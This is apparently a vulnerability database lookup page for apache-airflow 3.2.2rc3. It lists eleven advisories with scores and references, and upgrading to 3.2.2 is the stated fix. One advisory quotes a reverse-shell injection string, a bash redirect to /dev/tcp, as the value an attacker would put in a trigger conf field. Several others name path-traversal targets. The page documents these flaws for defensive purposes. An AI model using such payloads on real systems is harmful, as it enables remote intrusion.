Lookup for vulnerable packages by Package URL.

Purlpkg:pypi/apache-airflow@3.2.2rc3
Typepypi
Namespace
Nameapache-airflow
Version3.2.2rc3
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version3.2.2
Latest_non_vulnerable_version3.2.2
Affected_by_vulnerabilities
0
url VCID-1w96-f72k-ryap
vulnerability_id VCID-1w96-f72k-ryap
summary A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. `/etc/passwd` or `airflow.cfg`) or (b) supply a `task_id` containing `..` sequences accepted by the Task SDK's `KEY_REGEX` (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured `base_log_folder`, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-40861
reference_id
reference_type
scores
0
value 0.00092
scoring_system epss
scoring_elements 0.25928
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-40861
1
reference_url https://github.com/apache/airflow/pull/65325
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:33:03Z/
url https://github.com/apache/airflow/pull/65325
2
reference_url https://lists.apache.org/thread/823334db2559xjlwt59gpzjz47thnscl
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:33:03Z/
url https://lists.apache.org/thread/823334db2559xjlwt59gpzjz47thnscl
3
reference_url http://www.openwall.com/lists/oss-security/2026/05/31/1
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
url http://www.openwall.com/lists/oss-security/2026/05/31/1
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-40861, CVE-2026-40861, PYSEC-2026-181
risk_score 3.0
exploitability 0.5
weighted_severity 5.9
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-1w96-f72k-ryap
1
url VCID-2zj7-8yhg-8qen
vulnerability_id VCID-2zj7-8yhg-8qen
summary A bug in Apache Airflow's bulk Task Instances API (`PATCH/DELETE /api/v2/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances`) evaluated authorization against the `dag_id` resolved from the URL path while operating on the `dag_id` / `dag_run_id` extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41084
reference_id
reference_type
scores
0
value 0.00061
scoring_system epss
scoring_elements 0.19345
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41084
1
reference_url https://github.com/apache/airflow/pull/64288
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:14:40Z/
url https://github.com/apache/airflow/pull/64288
2
reference_url https://lists.apache.org/thread/w0hdcqfr71hf9rl1bwvpjs7q9yp1bldk
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:14:40Z/
url https://lists.apache.org/thread/w0hdcqfr71hf9rl1bwvpjs7q9yp1bldk
3
reference_url http://www.openwall.com/lists/oss-security/2026/05/31/7
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
url http://www.openwall.com/lists/oss-security/2026/05/31/7
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-41084, CVE-2026-41084, PYSEC-2026-183
risk_score 3.4
exploitability 0.5
weighted_severity 6.8
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2zj7-8yhg-8qen
2
url VCID-4nax-1d7y-1kbh
vulnerability_id VCID-4nax-1d7y-1kbh
summary The partitioned_dag_runs endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41014
reference_id
reference_type
scores
0
value 0.00045
scoring_system epss
scoring_elements 0.14335
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41014
1
reference_url https://github.com/apache/airflow/pull/65344
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:23:17Z/
url https://github.com/apache/airflow/pull/65344
2
reference_url https://lists.apache.org/thread/12nbzwwby7g883w2j13gn7ny1545xob9
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:23:17Z/
url https://lists.apache.org/thread/12nbzwwby7g883w2j13gn7ny1545xob9
3
reference_url http://www.openwall.com/lists/oss-security/2026/05/31/4
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
url http://www.openwall.com/lists/oss-security/2026/05/31/4
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-41014, CVE-2026-41014, PYSEC-2026-182
risk_score 1.9
exploitability 0.5
weighted_severity 3.9
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4nax-1d7y-1kbh
3
url VCID-5jyk-dgtu-zfhd
vulnerability_id VCID-5jyk-dgtu-zfhd
summary Apache Airflow's scheduler-side deadline-reference decoder (`SerializedCustomReference.deserialize_reference`) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom `DeadlineReference` whose serialized form named an attacker-controlled module path, causing the scheduler to `import_string(...)` and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-45360
reference_id
reference_type
scores
0
value 0.00065
scoring_system epss
scoring_elements 0.20505
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-45360
1
reference_url https://github.com/apache/airflow/pull/66737
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-06-02T15:48:16Z/
url https://github.com/apache/airflow/pull/66737
2
reference_url https://lists.apache.org/thread/q227dghjwgfz8xsxrf2pwpz4wk43zm83
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-06-02T15:48:16Z/
url https://lists.apache.org/thread/q227dghjwgfz8xsxrf2pwpz4wk43zm83
3
reference_url http://www.openwall.com/lists/oss-security/2026/05/31/12
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
url http://www.openwall.com/lists/oss-security/2026/05/31/12
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-45360, CVE-2026-45360, PYSEC-2026-186
risk_score 3.3
exploitability 0.5
weighted_severity 6.6
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-5jyk-dgtu-zfhd
4
url VCID-9ru4-qyks-hybs
vulnerability_id VCID-9ru4-qyks-hybs
summary Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-42252
reference_id
reference_type
scores
0
value 0.00051
scoring_system epss
scoring_elements 0.16398
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-42252
1
reference_url https://github.com/apache/airflow/pull/64129
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2026-06-02T16:05:01Z/
url https://github.com/apache/airflow/pull/64129
2
reference_url https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2026-06-02T16:05:01Z/
url https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-42252, CVE-2026-42252, PYSEC-2026-184
risk_score 4.1
exploitability 0.5
weighted_severity 8.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-9ru4-qyks-hybs
5
url VCID-dhj9-usjr-nbfe
vulnerability_id VCID-dhj9-usjr-nbfe
summary Apache Airflow's `JWTRefreshMiddleware` set the JWT auth cookie without the `Secure` flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41017
reference_id
reference_type
scores
0
value 0.00016
scoring_system epss
scoring_elements 0.03774
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41017
1
reference_url https://github.com/apache/airflow/pull/65348
reference_id
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:17:50Z/
url https://github.com/apache/airflow/pull/65348
2
reference_url https://lists.apache.org/thread/9jx0sk49c1250zflx0q3clc717qgjdch
reference_id
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:17:50Z/
url https://lists.apache.org/thread/9jx0sk49c1250zflx0q3clc717qgjdch
3
reference_url http://www.openwall.com/lists/oss-security/2026/05/31/6
reference_id
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
url http://www.openwall.com/lists/oss-security/2026/05/31/6
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-41017, CVE-2026-41017, PYSEC-2026-171
risk_score 2.6
exploitability 0.5
weighted_severity 5.3
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-dhj9-usjr-nbfe
6
url VCID-djdy-z9r3-s3a2
vulnerability_id VCID-djdy-z9r3-s3a2
summary A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for `FabAuthManager` and `KeycloakAuthManager` did not actually reach the underlying `revoke_token()` call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with `FabAuthManager` or `KeycloakAuthManager` (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side `revoke_token()` reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the FAB / Keycloak logout paths.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-48726
reference_id
reference_type
scores
0
value 0.00039
scoring_system epss
scoring_elements 0.11914
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-48726
1
reference_url https://github.com/apache/airflow/pull/67289
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:03:20Z/
url https://github.com/apache/airflow/pull/67289
2
reference_url https://lists.apache.org/thread/630jg4z6cjkv4m2yv2ljgmf1zhdj1vqx
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:03:20Z/
url https://lists.apache.org/thread/630jg4z6cjkv4m2yv2ljgmf1zhdj1vqx
3
reference_url https://www.cve.org/CVERecord?id=CVE-2025-57735
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-02T16:03:20Z/
url https://www.cve.org/CVERecord?id=CVE-2025-57735
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-48726, CVE-2026-48726, PYSEC-2026-187
risk_score 3.0
exploitability 0.5
weighted_severity 5.9
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-djdy-z9r3-s3a2
7
url VCID-dzfs-e5ys-fbhz
vulnerability_id VCID-dzfs-e5ys-fbhz
summary Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's `str.lstrip()` to the requested path segment when verifying the JWT's `sub` claim. `str.lstrip()` strips any of a *set* of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. `dag_a` would authorize log access to any other Dag whose name began with any subset of the characters `{d, a, g, _}` (e.g. `dag_attacker`, `aaaa_target`, `_dag_secret`). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-45426
reference_id
reference_type
scores
0
value 0.00045
scoring_system epss
scoring_elements 0.14335
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-45426
1
reference_url https://github.com/apache/airflow/pull/66749
reference_id
reference_type
scores
0
value 3.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-01T14:58:23Z/
url https://github.com/apache/airflow/pull/66749
2
reference_url https://lists.apache.org/thread/hz1q7vg65vq2h4fobv5ww8tp257fbqj9
reference_id
reference_type
scores
0
value 3.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-01T14:58:23Z/
url https://lists.apache.org/thread/hz1q7vg65vq2h4fobv5ww8tp257fbqj9
3
reference_url http://www.openwall.com/lists/oss-security/2026/05/31/13
reference_id
reference_type
scores
0
value 3.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
url http://www.openwall.com/lists/oss-security/2026/05/31/13
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-45426, CVE-2026-45426, PYSEC-2026-174
risk_score 1.4
exploitability 0.5
weighted_severity 2.8
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-dzfs-e5ys-fbhz
8
url VCID-ej1r-mp6n-gudd
vulnerability_id VCID-ej1r-mp6n-gudd
summary A bug in the GET `/api/v2/connections/{connection_id}` REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's `extra` JSON blob under field names not present in the redaction allowlist (`DEFAULT_SENSITIVE_FIELDS`) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection `extra` blobs and grant Connection-read access to multiple users. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's `extra` field.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-45192
reference_id
reference_type
scores
0
value 0.00035
scoring_system epss
scoring_elements 0.10737
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-45192
1
reference_url https://github.com/apache/airflow/pull/66673
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-01T12:52:50Z/
url https://github.com/apache/airflow/pull/66673
2
reference_url https://lists.apache.org/thread/r2q93dg2wp5h9sd9vh6y4y5ljqd9crdd
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-01T12:52:50Z/
url https://lists.apache.org/thread/r2q93dg2wp5h9sd9vh6y4y5ljqd9crdd
3
reference_url http://www.openwall.com/lists/oss-security/2026/06/01/3
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
url http://www.openwall.com/lists/oss-security/2026/06/01/3
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-45192, CVE-2026-45192, PYSEC-2026-173
risk_score 3.0
exploitability 0.5
weighted_severity 5.9
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ej1r-mp6n-gudd
9
url VCID-frvt-ng4a-jqfh
vulnerability_id VCID-frvt-ng4a-jqfh
summary A bug in Apache Airflow's XCom PATCH endpoint `PATCH /api/v2/xcomEntries/{key}` allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. `return_value`) that the matching POST endpoint already validated against `FORBIDDEN_XCOM_KEYS`. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the `FORBIDDEN_XCOM_KEYS` validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the PATCH-path bypass.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-42359
reference_id
reference_type
scores
0
value 0.00062
scoring_system epss
scoring_elements 0.19646
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-42359
1
reference_url https://github.com/apache/airflow/pull/65915
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-06-02T03:55:43Z/
url https://github.com/apache/airflow/pull/65915
2
reference_url https://lists.apache.org/thread/g8dqykpf1p90tysq8tln4qtkqwb1038s
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-06-02T03:55:43Z/
url https://lists.apache.org/thread/g8dqykpf1p90tysq8tln4qtkqwb1038s
3
reference_url https://www.cve.org/CVERecord?id=CVE-2026-33858
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-06-02T03:55:43Z/
url https://www.cve.org/CVERecord?id=CVE-2026-33858
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-42359, CVE-2026-42359, PYSEC-2026-185
risk_score 4.0
exploitability 0.5
weighted_severity 7.9
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-frvt-ng4a-jqfh
10
url VCID-pu6f-xhvm-q3du
vulnerability_id VCID-pu6f-xhvm-q3du
summary A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested `password` / `token` / `secret` / `api_key` keys inside a JSON template structure) to be bypassed when the rendered field exceeded `[core] max_templated_field_length`: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into `rendered_fields`. An authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of `CWE-200` previously addressed for the user-registered `mask_secret()` patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the nested-key path.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-42360
reference_id
reference_type
scores
0
value 0.00037
scoring_system epss
scoring_elements 0.11423
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-42360
1
reference_url https://github.com/apache/airflow/pull/65906
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-01T13:55:15Z/
url https://github.com/apache/airflow/pull/65906
2
reference_url https://lists.apache.org/thread/obj79bpxnl7r5olz1gsn0g94y88glnl4
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-06-01T13:55:15Z/
url https://lists.apache.org/thread/obj79bpxnl7r5olz1gsn0g94y88glnl4
fixed_packages
0
url pkg:pypi/apache-airflow@3.2.2
purl pkg:pypi/apache-airflow@3.2.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2
aliases BIT-airflow-2026-42360, CVE-2026-42360, PYSEC-2026-172
risk_score 3.0
exploitability 0.5
weighted_severity 5.9
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-pu6f-xhvm-q3du
Fixing_vulnerabilities
Risk_score4.1
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:pypi/apache-airflow@3.2.2rc3